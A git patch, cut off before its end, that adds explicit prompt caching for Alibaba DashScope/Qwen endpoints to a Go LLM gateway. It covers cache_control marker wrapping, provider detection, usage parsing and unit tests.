From 0e994f959cd093b1ecbca3cbe13676fbff14faf5 Mon Sep 17 00:00:00 2001 From: Plateau Nguyen Date: Fri, 19 Jun 2026 10:59:02 +0700 Subject: [PATCH 001/252] feat(providers): explicit prompt cache for DashScope/Qwen (#1127) * feat(providers): explicit prompt cache for DashScope/Qwen Extend OpenAI-compat path with Anthropic-style cache_control:ephemeral inline blocks for Alibaba DashScope endpoints (provider_type=bailian or URL contains "dashscope"). Verified live: qwen3.6-plus / qwen3.5-plus / qwen3-coder-plus all return 99.7% cache hit rate on 6K-token prefix, yielding ~89% token cost reduction on cached prefix (90% Alibaba discount). - isDashScope(): 3-source detection (URL + providerType + name) handles reverse-proxied endpoints; covers both "dashscope" and "bailian" - buildRequestBody wraps system content with SplitSystemPromptForCache (exported from anthropic_request.go) using - Tool prefix cache: cache_control on last tool definition, with 4-marker budget guard - Parse cache_creation_input_tokens from prompt_tokens_details into Usage.CacheCreationTokens; propagates via existing span metadata writers - Runtime escape hatch: GOCLAW_DISABLE_DASHSCOPE_CACHE=true - Live integration smoke test (build tag integration, env-gated) * chore(providers): polish per PR #1127 review - Use strings.Repeat instead of custom repeat() helper in smoke test - Clarify BuildRequestBodyForTest is test-only, not public API * feat(providers): enable thinking for Qwen 3.7/3.6, observe cache in smoke test Qwen3.7-plus and qwen3.6-plus support deep thinking but were missing from dashscopeThinkingModels, so enable_thinking/thinking_budget was silently skipped. Add both to the whitelist and test. Add qwen3.7-plus to the cache smoke test as cache-optional: Alibaba's context-cache doc does not yet list 3.7/3.6 for explicit cache, and the cache wrap is a safe no-op when unsupported, so a no-cache result is logged rather than failed to avoid a flaky live assertion. Claude-Session: https://claude.ai/code/session_01X3jkrc7N3ar8ZGzUJWyNS5 * fix(providers): preserve DashScope detection for proxy routes --- cmd/gateway_providers.go | 6 +- internal/http/providers.go | 3 +- internal/http/providers_test.go | 68 ++++++ .../providers/anthropic_cache_split_test.go | 8 +- internal/providers/anthropic_request.go | 7 +- internal/providers/dashscope.go | 13 +- .../providers/dashscope_cache_middleware.go | 62 ++++++ .../dashscope_cache_middleware_test.go | 207 ++++++++++++++++++ internal/providers/dashscope_test.go | 2 + internal/providers/dashscope_usage_test.go | 57 +++++ internal/providers/openai_chat.go | 2 +- internal/providers/openai_endpoints.go | 20 +- .../openai_endpoints_dashscope_test.go | 57 +++++ internal/providers/openai_http.go | 2 +- internal/providers/openai_request.go | 26 +++ internal/providers/openai_test_helpers.go | 8 + internal/providers/openai_types.go | 5 +- tests/integration/qwen_cache_smoke_test.go | 158 +++++++++++++ 18 files changed, 689 insertions(+), 22 deletions(-) create mode 100644 internal/providers/dashscope_cache_middleware.go create mode 100644 internal/providers/dashscope_cache_middleware_test.go create mode 100644 internal/providers/dashscope_usage_test.go create mode 100644 internal/providers/openai_endpoints_dashscope_test.go create mode 100644 internal/providers/openai_test_helpers.go create mode 100644 tests/integration/qwen_cache_smoke_test.go diff --git a/cmd/gateway_providers.go b/cmd/gateway_providers.go index 26a34099..2d02bc59 100644 --- a/cmd/gateway_providers.go +++ b/cmd/gateway_providers.go @@ -101,7 +101,8 @@ func registerProviders(registry *providers.Registry, cfg *config.Config, modelRe if base == "" { base = "https://coding-intl.dashscope.aliyuncs.com/v1" } - registry.Register(providers.NewOpenAIProvider("bailian", cfg.Providers.Bailian.APIKey, base, "qwen3.5-plus")) + registry.Register(providers.NewOpenAIProvider("bailian", cfg.Providers.Bailian.APIKey, base, "qwen3.5-plus"). + WithProviderType(store.ProviderBailian)) slog.Info("registered provider", "name", "bailian") } @@ -356,7 +357,8 @@ func registerProvidersFromDB(registry *providers.Registry, provStore store.Provi if base == "" { base = "https://coding-intl.dashscope.aliyuncs.com/v1" } - registry.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, "qwen3.5-plus")) + registry.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, "qwen3.5-plus"). + WithProviderType(p.ProviderType)) case store.ProviderZai: base := p.APIBase if base == "" { diff --git a/internal/http/providers.go b/internal/http/providers.go index f4a76b17..c83f9e77 100644 --- a/internal/http/providers.go +++ b/internal/http/providers.go @@ -307,7 +307,8 @@ func (h *ProvidersHandler) registerInMemory(p *store.LLMProviderData) providerRu if base == "" { base = "https://coding-intl.dashscope.aliyuncs.com/v1" } - h.providerReg.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, "qwen3.5-plus")) + h.providerReg.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, "qwen3.5-plus"). + WithProviderType(p.ProviderType)) case store.ProviderNovita: base := apiBase if base == "" { diff --git a/internal/http/providers_test.go b/internal/http/providers_test.go index eeec3f77..d28d62b4 100644 --- a/internal/http/providers_test.go +++ b/internal/http/providers_test.go @@ -201,6 +201,74 @@ func TestProvidersHandlerRegisterInMemoryAnthropicUsesModelRegistry(t *testing.T } } +func TestProvidersHandlerRegisterInMemoryDashScopeProxyKeepsCacheDetection(t *testing.T) { + providerReg := providers.NewRegistry(nil) + handler := NewProvidersHandler(newMockProviderStore(), newMockSecretsStore(), providerReg, "") + + provider := &store.LLMProviderData{ + BaseModel: store.BaseModel{ID: uuid.New()}, + TenantID: uuid.New(), + Name: "qwen-richard", + ProviderType: store.ProviderDashScope, + APIBase: "https://proxy.internal/v1", + APIKey: "sk-test", + Enabled: true, + } + + handler.registerInMemory(provider) + + got, err := providerReg.GetForTenant(provider.TenantID, provider.Name) + if err != nil { + t.Fatalf("GetForTenant() error = %v", err) + } + assertRuntimeProviderWrapsDashScopeSystem(t, got, "qwen3.6-plus") +} + +func TestProvidersHandlerRegisterInMemoryBailianProxyKeepsCacheDetection(t *testing.T) { + providerReg := providers.NewRegistry(nil) + handler := NewProvidersHandler(newMockProviderStore(), newMockSecretsStore(), providerReg, "") + + provider := &store.LLMProviderData{ + BaseModel: store.BaseModel{ID: uuid.New()}, + TenantID: uuid.New(), + Name: "qwen-richard", + ProviderType: store.ProviderBailian, + APIBase: "https://proxy.internal/v1", + APIKey: "sk-test", + Enabled: true, + } + + handler.registerInMemory(provider) + + got, err := providerReg.GetForTenant(provider.TenantID, provider.Name) + if err != nil { + t.Fatalf("GetForTenant() error = %v", err) + } + assertRuntimeProviderWrapsDashScopeSystem(t, got, "qwen3.6-plus") +} + +func assertRuntimeProviderWrapsDashScopeSystem(t *testing.T, runtimeProvider providers.Provider, model string) { + t.Helper() + + bodyBuilder, ok := runtimeProvider.(interface { + BuildRequestBodyForTest(string, providers.ChatRequest, bool) map[string]any + }) + if !ok { + t.Fatalf("runtime provider = %T, want BuildRequestBodyForTest", runtimeProvider) + } + + body := bodyBuilder.BuildRequestBodyForTest(model, providers.ChatRequest{ + Messages: []providers.Message{ + {Role: "system", Content: "Stable prefix\n" + providers.CacheBoundaryMarker + "\nDynamic suffix"}, + {Role: "user", Content: "Hi"}, + }, + }, false) + msgs := body["messages"].([]map[string]any) + if _, ok := msgs[0]["content"].([]map[string]any); !ok { + t.Fatalf("system content = %T, want DashScope cache blocks", msgs[0]["content"]) + } +} + // writeFakeClaudeBinary creates an executable stub in a temp dir so exec.LookPath resolves it. // Returns the absolute path suitable for use as APIBase on a Claude CLI provider record. func writeFakeClaudeBinary(t *testing.T) string { diff --git a/internal/providers/anthropic_cache_split_test.go b/internal/providers/anthropic_cache_split_test.go index 83c42851..d20d197b 100644 --- a/internal/providers/anthropic_cache_split_test.go +++ b/internal/providers/anthropic_cache_split_test.go @@ -8,7 +8,7 @@ import ( // the cache boundary marker is split into 2 blocks: stable (cached) + dynamic. func TestAnthropicSystemBlocksSplit(t *testing.T) { prompt := "stable content\n" + CacheBoundaryMarker + "\ndynamic content" - blocks := splitSystemPromptForCache(prompt) + blocks := SplitSystemPromptForCache(prompt) if len(blocks) != 2 { t.Fatalf("expected 2 blocks, got %d", len(blocks)) } @@ -30,7 +30,7 @@ func TestAnthropicSystemBlocksSplit(t *testing.T) { // marker → single block with cache_control. func TestAnthropicSingleBlockFallback(t *testing.T) { prompt := "no boundary here" - blocks := splitSystemPromptForCache(prompt) + blocks := SplitSystemPromptForCache(prompt) if len(blocks) != 1 { t.Fatalf("expected 1 block, got %d", len(blocks)) } @@ -46,7 +46,7 @@ func TestAnthropicSingleBlockFallback(t *testing.T) { // after the boundary produces only 1 block (no empty block appended). func TestAnthropicEmptyDynamic(t *testing.T) { prompt := "stable only\n" + CacheBoundaryMarker + "\n" - blocks := splitSystemPromptForCache(prompt) + blocks := SplitSystemPromptForCache(prompt) if len(blocks) != 1 { t.Fatalf("expected 1 block for empty dynamic, got %d", len(blocks)) } @@ -59,7 +59,7 @@ func TestAnthropicEmptyDynamic(t *testing.T) { // (empty stable section) still produces valid blocks without empty text. func TestAnthropicEmptyStable(t *testing.T) { prompt := CacheBoundaryMarker + "\ndynamic only" - blocks := splitSystemPromptForCache(prompt) + blocks := SplitSystemPromptForCache(prompt) // Stable is empty string after TrimSpace — should still produce a block // (Anthropic API handles empty text blocks gracefully). if len(blocks) < 1 { diff --git a/internal/providers/anthropic_request.go b/internal/providers/anthropic_request.go index 76aaae84..a27bfb0c 100644 --- a/internal/providers/anthropic_request.go +++ b/internal/providers/anthropic_request.go @@ -10,10 +10,11 @@ import ( // to avoid circular import; agent_test verifies they match). const CacheBoundaryMarker = "" -// splitSystemPromptForCache splits a system prompt at the cache boundary marker. +// SplitSystemPromptForCache splits a system prompt at CacheBoundaryMarker. // Returns 2 blocks if boundary found: stable (with cache_control) + dynamic (without). // Returns 1 block with cache_control if no boundary (backwards compat). -func splitSystemPromptForCache(content string) []map[string]any { +// Used by both Anthropic and DashScope cache middleware (identical wire format). +func SplitSystemPromptForCache(content string) []map[string]any { ephemeral := map[string]any{"type": "ephemeral"} before, after, ok := strings.Cut(content, CacheBoundaryMarker) if !ok { @@ -95,7 +96,7 @@ func (p *AnthropicProvider) buildRequestBody(model string, req ChatRequest, stre for _, msg := range req.Messages { switch msg.Role { case "system": - systemBlocks = append(systemBlocks, splitSystemPromptForCache(msg.Content)...) + systemBlocks = append(systemBlocks, SplitSystemPromptForCache(msg.Content)...) case "user": if len(msg.Images) > 0 || len(msg.Videos) > 0 { diff --git a/internal/providers/dashscope.go b/internal/providers/dashscope.go index 5730d98c..ed4c95ff 100644 --- a/internal/providers/dashscope.go +++ b/internal/providers/dashscope.go @@ -12,15 +12,18 @@ const ( ) // dashscopeThinkingModels lists DashScope models that accept the -// enable_thinking / thinking_budget parameters (Qwen3 open-weight and Qwen3.5 series). +// enable_thinking / thinking_budget parameters (Qwen3 open-weight and Qwen3.5+ series). // Models NOT in this set (e.g. qwen3-plus, qwen3-turbo) will silently // skip thinking injection to avoid API "model not supported" errors. var dashscopeThinkingModels = map[string]bool{ + // Qwen3.7 / 3.6 series — deep thinking + vision + "qwen3.7-plus": true, + "qwen3.6-plus": true, // Qwen3.5 series — thinking + vision - "qwen3.5-plus": true, - "qwen3.5-turbo": true, + "qwen3.5-plus": true, + "qwen3.5-turbo": true, // Qwen3 hosted - "qwen3-max": true, + "qwen3-max": true, // Qwen3 open-weight (available as hosted inference) "qwen3-235b-a22b": true, "qwen3-32b": true, @@ -43,7 +46,7 @@ func NewDashScopeProvider(name, apiKey, apiBase, defaultModel string) *DashScope defaultModel = dashscopeDefaultModel } return &DashScopeProvider{ - OpenAIProvider: NewOpenAIProvider(name, apiKey, apiBase, defaultModel), + OpenAIProvider: NewOpenAIProvider(name, apiKey, apiBase, defaultModel).WithProviderType("dashscope"), } } diff --git a/internal/providers/dashscope_cache_middleware.go b/internal/providers/dashscope_cache_middleware.go new file mode 100644 index 00000000..c8732841 --- /dev/null +++ b/internal/providers/dashscope_cache_middleware.go @@ -0,0 +1,62 @@ +package providers + +import "os" + +// wrapSystemForDashScopeCache transforms a system message string content into +// Anthropic-style content blocks with cache_control:ephemeral markers. +// +// DashScope verified 2026-05-08 to accept and process this wire format on +// coding-intl.dashscope.aliyuncs.com. Result: 90% discount on cached prefix +// tokens, 5min sliding TTL. +// +// Non-system messages and non-string content pass through unchanged +// (idempotent, supports already-blocked input). +func wrapSystemForDashScopeCache(msg map[string]any) map[string]any { + if msg["role"] != "system" { + return msg + } + content, ok := msg["content"].(string) + if !ok { + return msg + } + msg["content"] = SplitSystemPromptForCache(content) + return msg +} + +// applyDashScopeToolPrefixCache adds cache_control:ephemeral to the last tool +// definition, caching the entire tool prefix (descriptions, schemas). +// +// alreadyMarked: cache markers already consumed by system message blocks. +// DashScope limits 4 markers/request; skip tool marker if limit reached. +func applyDashScopeToolPrefixCache(tools []map[string]any, alreadyMarked int) []map[string]any { + if len(tools) == 0 || alreadyMarked >= 4 { + return tools + } + last := tools[len(tools)-1] + last["cache_control"] = map[string]any{"type": "ephemeral"} + return tools +} + +// countCacheControlMarkers counts cache_control fields in a message's content +// blocks. Used to track marker budget across system + tools. +func countCacheControlMarkers(msg map[string]any) int { + blocks, ok := msg["content"].([]map[string]any) + if !ok { + return 0 + } + count := 0 + for _, b := range blocks { + if b["cache_control"] != nil { + count++ + } + } + return count +} + +// dashScopeCacheDisabled returns true when env var GOCLAW_DISABLE_DASHSCOPE_CACHE +// is set to a truthy value. Provides runtime escape hatch without requiring +// code redeploy or config change. +func dashScopeCacheDisabled() bool { + v := os.Getenv("GOCLAW_DISABLE_DASHSCOPE_CACHE") + return v == "true" || v == "1" || v == "yes" +} diff --git a/internal/providers/dashscope_cache_middleware_test.go b/internal/providers/dashscope_cache_middleware_test.go new file mode 100644 index 00000000..4929b1a3 --- /dev/null +++ b/internal/providers/dashscope_cache_middleware_test.go @@ -0,0 +1,207 @@ +package providers + +import ( + "encoding/json" + "reflect" + "testing" +) + +func TestWrapSystemForDashScopeCache_NoBoundary(t *testing.T) { + msg := map[string]any{ + "role": "system", + "content": "You are a helpful assistant.", + } + out := wrapSystemForDashScopeCache(msg) + blocks, ok := out["content"].([]map[string]any) + if !ok { + t.Fatalf("expected []map content, got %T", out["content"]) + } + if len(blocks) != 1 { + t.Fatalf("expected 1 block, got %d", len(blocks)) + } + if blocks[0]["cache_control"] == nil { + t.Error("block[0] missing cache_control") + } +} + +func TestWrapSystemForDashScopeCache_WithBoundary(t *testing.T) { + msg := map[string]any{ + "role": "system", + "content": "Stable prefix\n" + CacheBoundaryMarker + "\nDynamic suffix", + } + out := wrapSystemForDashScopeCache(msg) + blocks := out["content"].([]map[string]any) + if len(blocks) != 2 { + t.Fatalf("expected 2 blocks, got %d", len(blocks)) + } + if blocks[0]["cache_control"] == nil { + t.Error("stable block missing cache_control") + } + if blocks[1]["cache_control"] != nil { + t.Error("dynamic block should not have cache_control") + } +} + +func TestWrapSystemForDashScopeCache_NonSystemUntouched(t *testing.T) { + msg := map[string]any{ + "role": "user", + "content": "Hello", + } + out := wrapSystemForDashScopeCache(msg) + if !reflect.DeepEqual(out, msg) { + t.Error("user message should pass through unchanged") + } +} + +func TestWrapSystemForDashScopeCache_NonStringContentUntouched(t *testing.T) { + blocks := []map[string]any{{"type": "text", "text": "x", "cache_control": map[string]any{"type": "ephemeral"}}} + msg := map[string]any{"role": "system", "content": blocks} + out := wrapSystemForDashScopeCache(msg) + got, _ := json.Marshal(out["content"]) + want, _ := json.Marshal(blocks) + if string(got) != string(want) { + t.Errorf("idempotent fail: got %s want %s", got, want) + } +} + +func TestBuildRequestBody_DashScopeEndpoint_WrapsSystem(t *testing.T) { + p := NewOpenAIProvider("test", "key", "https://coding-intl.dashscope.aliyuncs.com/v1", "qwen3.6-plus") + req := ChatRequest{ + Messages: []Message{ + {Role: "system", Content: "You are an assistant."}, + {Role: "user", Content: "Hi"}, + }, + } + body := p.buildRequestBody("qwen3.6-plus", req, false) + msgs := body["messages"].([]map[string]any) + sysContent := msgs[0]["content"] + if _, ok := sysContent.([]map[string]any); !ok { + t.Fatalf("expected DashScope system content as []block, got %T", sysContent) + } +} + +func TestBuildRequestBody_OpenAINative_DoesNotWrap(t *testing.T) { + p := NewOpenAIProvider("test", "key", "https://api.openai.com/v1", "gpt-4o") + req := ChatRequest{Messages: []Message{{Role: "system", Content: "..."}, {Role: "user", Content: "Hi"}}} + body := p.buildRequestBody("gpt-4o", req, false) + msgs := body["messages"].([]map[string]any) + if _, ok := msgs[0]["content"].(string); !ok { + t.Errorf("OpenAI native should keep string content, got %T", msgs[0]["content"]) + } +} + +func TestApplyDashScopeToolPrefixCache_AddMarkerOnLast(t *testing.T) { + tools := []map[string]any{ + {"type": "function", "function": map[string]any{"name": "tool_a"}}, + {"type": "function", "function": map[string]any{"name": "tool_b"}}, + {"type": "function", "function": map[string]any{"name": "tool_c"}}, + } + out := applyDashScopeToolPrefixCache(tools, 1) + if len(out) != 3 { + t.Fatalf("len changed: got %d", len(out)) + } + if out[0]["cache_control"] != nil || out[1]["cache_control"] != nil { + t.Error("non-last tools should not have cache_control") + } + if out[2]["cache_control"] == nil { + t.Error("last tool missing cache_control") + } +} + +func TestApplyDashScopeToolPrefixCache_EmptyArray(t *testing.T) { + out := applyDashScopeToolPrefixCache([]map[string]any{}, 0) + if len(out) != 0 { + t.Errorf("expected empty, got %d", len(out)) + } +} + +func TestApplyDashScopeToolPrefixCache_RespectsMarkerLimit(t *testing.T) { + tools := []map[string]any{{"type": "function", "function": map[string]any{"name": "x"}}} + out := applyDashScopeToolPrefixCache(tools, 4) + if out[0]["cache_control"] != nil { + t.Error("should skip tool marker when limit reached") + } +} + +func TestCountCacheControlMarkers(t *testing.T) { + msg := map[string]any{ + "role": "system", + "content": []map[string]any{ + {"type": "text", "text": "x", "cache_control": map[string]any{"type": "ephemeral"}}, + {"type": "text", "text": "y"}, + }, + } + if got := countCacheControlMarkers(msg); got != 1 { + t.Errorf("got %d, want 1", got) + } +} + +func TestBuildRequestBody_DashScopeWithTools_AppliesToolCache(t *testing.T) { + p := NewOpenAIProvider("test", "key", "https://coding-intl.dashscope.aliyuncs.com/v1", "qwen3.6-plus") + req := ChatRequest{ + Messages: []Message{{Role: "system", Content: "..."}, {Role: "user", Content: "Hi"}}, + Tools: []ToolDefinition{ + {Type: "function", Function: &ToolFunctionSchema{Name: "search", Description: "search docs", Parameters: map[string]any{}}}, + {Type: "function", Function: &ToolFunctionSchema{Name: "fetch", Description: "fetch url", Parameters: map[string]any{}}}, + }, + } + body := p.buildRequestBody("qwen3.6-plus", req, false) + tools := body["tools"].([]map[string]any) + if tools[0]["cache_control"] != nil { + t.Error("first tool should not have cache_control") + } + if tools[len(tools)-1]["cache_control"] == nil { + t.Error("last tool should have cache_control") + } +} + +func TestBuildRequestBody_OpenAINativeWithTools_NoToolCache(t *testing.T) { + p := NewOpenAIProvider("test", "key", "https://api.openai.com/v1", "gpt-4o") + req := ChatRequest{ + Messages: []Message{{Role: "system", Content: "..."}, {Role: "user", Content: "Hi"}}, + Tools: []ToolDefinition{ + {Type: "function", Function: &ToolFunctionSchema{Name: "x", Description: "y", Parameters: map[string]any{}}}, + }, + } + body := p.buildRequestBody("gpt-4o", req, false) + tools, ok := body["tools"].([]map[string]any) + if ok && len(tools) > 0 && tools[0]["cache_control"] != nil { + t.Error("OpenAI native should not have tool cache_control") + } +} + +func TestBuildRequestBody_DashScopeWithEnvDisable_DoesNotWrap(t *testing.T) { + t.Setenv("GOCLAW_DISABLE_DASHSCOPE_CACHE", "true") + p := NewOpenAIProvider("test", "key", "https://coding-intl.dashscope.aliyuncs.com/v1", "qwen3.6-plus") + req := ChatRequest{Messages: []Message{{Role: "system", Content: "..."}, {Role: "user", Content: "Hi"}}} + body := p.buildRequestBody("qwen3.6-plus", req, false) + msgs := body["messages"].([]map[string]any) + if _, ok := msgs[0]["content"].(string); !ok { + t.Errorf("env disable should keep string content, got %T", msgs[0]["content"]) + } +} + +func TestBuildRequestBody_BailianThinkingLevelMapsToDashScopeKeys(t *testing.T) { + p := NewOpenAIProvider("qwen-richard", "key", "https://proxy.internal/v1", "qwen3.6-plus"). + WithProviderType("bailian") + req := ChatRequest{ + Model: "qwen3.6-plus", + Messages: []Message{ + {Role: "system", Content: "You are an assistant."}, + {Role: "user", Content: "Hi"}, + }, + Options: map[string]any{OptThinkingLevel: "medium"}, + } + + body := p.buildRequestBody("qwen3.6-plus", req, false) + + if body[OptEnableThinking] != true { + t.Fatalf("enable_thinking = %v, want true", body[OptEnableThinking]) + } + if body[OptThinkingBudget] == nil { + t.Fatal("thinking_budget missing for Bailian Qwen thinking model") + } + if _, has := body[OptReasoningEffort]; has { + t.Fatal("Bailian must not receive OpenAI reasoning_effort") + } +} diff --git a/internal/providers/dashscope_test.go b/internal/providers/dashscope_test.go index 36258b97..d670f33e 100644 --- a/internal/providers/dashscope_test.go +++ b/internal/providers/dashscope_test.go @@ -51,6 +51,8 @@ func TestDashScopeModelSupportsThinking(t *testing.T) { model string want bool }{ + {"qwen3.7-plus", true}, + {"qwen3.6-plus", true}, {"qwen3.5-plus", true}, {"qwen3.5-turbo", true}, {"qwen3-max", true}, diff --git a/internal/providers/dashscope_usage_test.go b/internal/providers/dashscope_usage_test.go new file mode 100644 index 00000000..0d9d43e6 --- /dev/null +++ b/internal/providers/dashscope_usage_test.go @@ -0,0 +1,57 @@ +package providers + +import ( + "encoding/json" + "testing" +) + +func TestOpenAIUsage_DashScopeCacheHit_Unmarshal(t *testing.T) { + raw := `{ + "prompt_tokens": 2318, + "completion_tokens": 195, + "total_tokens": 2513, + "prompt_tokens_details": { + "text_tokens": 2318, + "cache_creation_input_tokens": 0, + "cached_tokens": 2304 + } + }` + var u openAIUsage + if err := json.Unmarshal([]byte(raw), &u); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if u.PromptTokensDetails.CachedTokens != 2304 { + t.Errorf("cached_tokens: got %d want 2304", u.PromptTokensDetails.CachedTokens) + } + if u.PromptTokensDetails.CacheCreationInputTokens != 0 { + t.Errorf("cache_creation: got %d want 0", u.PromptTokensDetails.CacheCreationInputTokens) + } +} + +func TestOpenAIUsage_DashScopeCacheCreate_Unmarshal(t *testing.T) { + raw := `{ + "prompt_tokens": 2318, + "prompt_tokens_details": { + "cache_creation_input_tokens": 2304, + "cached_tokens": 0 + } + }` + var u openAIUsage + if err := json.Unmarshal([]byte(raw), &u); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if u.PromptTokensDetails.CacheCreationInputTokens != 2304 { + t.Errorf("got %d want 2304", u.PromptTokensDetails.CacheCreationInputTokens) + } +} + +func TestOpenAIUsage_NoDetails_OK(t *testing.T) { + raw := `{"prompt_tokens": 100, "completion_tokens": 20, "total_tokens": 120}` + var u openAIUsage + if err := json.Unmarshal([]byte(raw), &u); err != nil { + t.Fatalf("unmarshal: %v", err) + } + if u.PromptTokensDetails != nil { + t.Errorf("expected nil PromptTokensDetails, got %+v", u.PromptTokensDetails) + } +} diff --git a/internal/providers/openai_chat.go b/internal/providers/openai_chat.go index c5b1f960..e25df763 100644 --- a/internal/providers/openai_chat.go +++ b/internal/providers/openai_chat.go @@ -112,7 +112,7 @@ func (p *OpenAIProvider) ChatStream(ctx context.Context, req ChatRequest, onChun } if chunk.Usage.PromptTokensDetails != nil { result.Usage.CacheReadTokens = chunk.Usage.PromptTokensDetails.CachedTokens - result.Usage.CacheCreationTokens = chunk.Usage.PromptTokensDetails.CacheWriteTokens + result.Usage.CacheCreationTokens = chunk.Usage.PromptTokensDetails.CacheWriteTokens + chunk.Usage.PromptTokensDetails.CacheCreationInputTokens result.Usage.PromptTokensIncludeCachedSegments = true } if chunk.Usage.CompletionTokensDetails != nil && chunk.Usage.CompletionTokensDetails.ReasoningTokens > 0 { diff --git a/internal/providers/openai_endpoints.go b/internal/providers/openai_endpoints.go index 34366301..da4f195a 100644 --- a/internal/providers/openai_endpoints.go +++ b/internal/providers/openai_endpoints.go @@ -41,15 +41,29 @@ func isDashScopeAPIBase(apiBase string) bool { } // dashScopePassthroughKeys is true when enable_thinking / thinking_budget may be added to the JSON body. -// Uses URL, provider_type, and name so httptest DashScope URLs still work in tests. +// Uses the same DashScope/Bailian route detection as prompt-cache wrapping. func (p *OpenAIProvider) dashScopePassthroughKeys() bool { + return p.isDashScope() +} + +// isDashScope returns true when this provider routes requests to DashScope/Bailian +// (supports cache_control:ephemeral wire format - verified live 2026-05-08). +// Uses 3-source detection (URL + providerType + name) to handle reverse-proxied +// DashScope endpoints. Includes "bailian" because live qwen-richard provider has +// provider_type=bailian. +// +// Used by buildRequestBody to wrap system content with Anthropic-style +// cache_control blocks for prompt caching (90% discount on cached prefix tokens). +func (p *OpenAIProvider) isDashScope() bool { if isDashScopeAPIBase(p.apiBase) { return true } - if strings.Contains(strings.ToLower(strings.TrimSpace(p.providerType)), "dashscope") { + pt := strings.ToLower(strings.TrimSpace(p.providerType)) + if strings.Contains(pt, "dashscope") || strings.Contains(pt, "bailian") { return true } - if strings.Contains(strings.ToLower(p.name), "dashscope") { + name := strings.ToLower(p.name) + if strings.Contains(name, "dashscope") || strings.Contains(name, "bailian") { return true } return false diff --git a/internal/providers/openai_endpoints_dashscope_test.go b/internal/providers/openai_endpoints_dashscope_test.go new file mode 100644 index 00000000..7bb6d6f6 --- /dev/null +++ b/internal/providers/openai_endpoints_dashscope_test.go @@ -0,0 +1,57 @@ +package providers + +import "testing" + +func TestOpenAIProvider_isDashScope(t *testing.T) { + cases := []struct { + name string + apiBase string + ptype string + pname string + want bool + }{ + {"coding-intl URL", "https://coding-intl.dashscope.aliyuncs.com/v1", "openai_compat", "qwen-richard", true}, + {"providerType=bailian", "https://custom-proxy.example.com/v1", "bailian", "internal-qwen", true}, + {"providerType=dashscope", "https://proxy.example.com/v1", "dashscope", "x", true}, + {"name contains dashscope", "https://proxy.com/v1", "openai_compat", "my-dashscope-mirror", true}, + {"name contains bailian", "https://proxy.com/v1", "openai_compat", "company-bailian-relay", true}, + {"openai native", "https://api.openai.com/v1", "openai", "gpt", false}, + {"anthropic", "https://api.anthropic.com", "anthropic", "claude", false}, + {"openrouter", "https://openrouter.ai/api/v1", "openai_compat", "openrouter", false}, + {"empty", "", "", "", false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + p := &OpenAIProvider{apiBase: tc.apiBase, providerType: tc.ptype, name: tc.pname} + if got := p.isDashScope(); got != tc.want { + t.Errorf("isDashScope() = %v, want %v (apiBase=%q ptype=%q name=%q)", + got, tc.want, tc.apiBase, tc.ptype, tc.pname) + } + }) + } +} + +func TestOpenAIProvider_dashScopePassthroughKeys(t *testing.T) { + cases := []struct { + name string + apiBase string + ptype string + pname string + want bool + }{ + {"dashscope URL", "https://coding-intl.dashscope.aliyuncs.com/v1", "openai_compat", "qwen", true}, + {"providerType=dashscope", "https://proxy.example.com/v1", "dashscope", "qwen", true}, + {"providerType=bailian", "https://proxy.example.com/v1", "bailian", "qwen", true}, + {"name contains dashscope", "https://proxy.example.com/v1", "openai_compat", "team-dashscope", true}, + {"name contains bailian", "https://proxy.example.com/v1", "openai_compat", "team-bailian", true}, + {"openrouter", "https://openrouter.ai/api/v1", "openai_compat", "openrouter", false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + p := &OpenAIProvider{apiBase: tc.apiBase, providerType: tc.ptype, name: tc.pname} + if got := p.dashScopePassthroughKeys(); got != tc.want { + t.Errorf("dashScopePassthroughKeys() = %v, want %v", got, tc.want) + } + }) + } +} diff --git a/internal/providers/openai_http.go b/internal/providers/openai_http.go index 4b5de5fc..dcdefd13 100644 --- a/internal/providers/openai_http.go +++ b/internal/providers/openai_http.go @@ -134,7 +134,7 @@ func (p *OpenAIProvider) parseResponse(resp *openAIResponse) *ChatResponse { } if resp.Usage.PromptTokensDetails != nil { result.Usage.CacheReadTokens = resp.Usage.PromptTokensDetails.CachedTokens - result.Usage.CacheCreationTokens = resp.Usage.PromptTokensDetails.CacheWriteTokens + result.Usage.CacheCreationTokens = resp.Usage.PromptTokensDetails.CacheWriteTokens + resp.Usage.PromptTokensDetails.CacheCreationInputTokens result.Usage.PromptTokensIncludeCachedSegments = true } if resp.Usage.CompletionTokensDetails != nil && resp.Usage.CompletionTokensDetails.ReasoningTokens > 0 { diff --git a/internal/providers/openai_request.go b/internal/providers/openai_request.go index 5e8c9310..4b42957b 100644 --- a/internal/providers/openai_request.go +++ b/internal/providers/openai_request.go @@ -159,6 +159,15 @@ func (p *OpenAIProvider) buildRequestBody(model string, req ChatRequest, stream msgs = append(msgs, msg) } + // Apply DashScope cache_control wrapping (verified live 2026-05-08). + // Uses 3-source detection from p.isDashScope() (URL + providerType + name) + // to handle reverse-proxied endpoints. No-op for non-DashScope endpoints + // or when env disabled. For native OpenAI, role mapping above renames + // "system"→"developer" so wrap is a no-op (role guard). + if p.isDashScope() && !dashScopeCacheDisabled() && len(msgs) > 0 { + msgs[0] = wrapSystemForDashScopeCache(msgs[0]) + } + // Safety net: strip trailing assistant message to prevent HTTP 400 from // proxy providers (LiteLLM, OpenRouter) that don't support assistant prefill. // This should rarely trigger — the agent loop ensures user message is last. @@ -185,6 +194,19 @@ func (p *OpenAIProvider) buildRequestBody(model string, req ChatRequest, stream } } + // DashScope tool prefix cache: cache_control on last tool definition + // caches the entire tools array (descriptions + schemas, ~5-10K tokens). + // Combined with system block cache: 2/4 markers used, 99.5% hit rate verified. + if p.isDashScope() && !dashScopeCacheDisabled() { + if t, ok := body["tools"].([]map[string]any); ok && len(t) > 0 { + markersFromSystem := 0 + if len(msgs) > 0 { + markersFromSystem = countCacheControlMarkers(msgs[0]) + } + body["tools"] = applyDashScopeToolPrefixCache(t, markersFromSystem) + } + } + // Together returns HTTP 400 on some requests when stream_options is present. if stream && !p.isTogetherEndpoint() { body["stream_options"] = map[string]any{ @@ -249,6 +271,10 @@ func (p *OpenAIProvider) 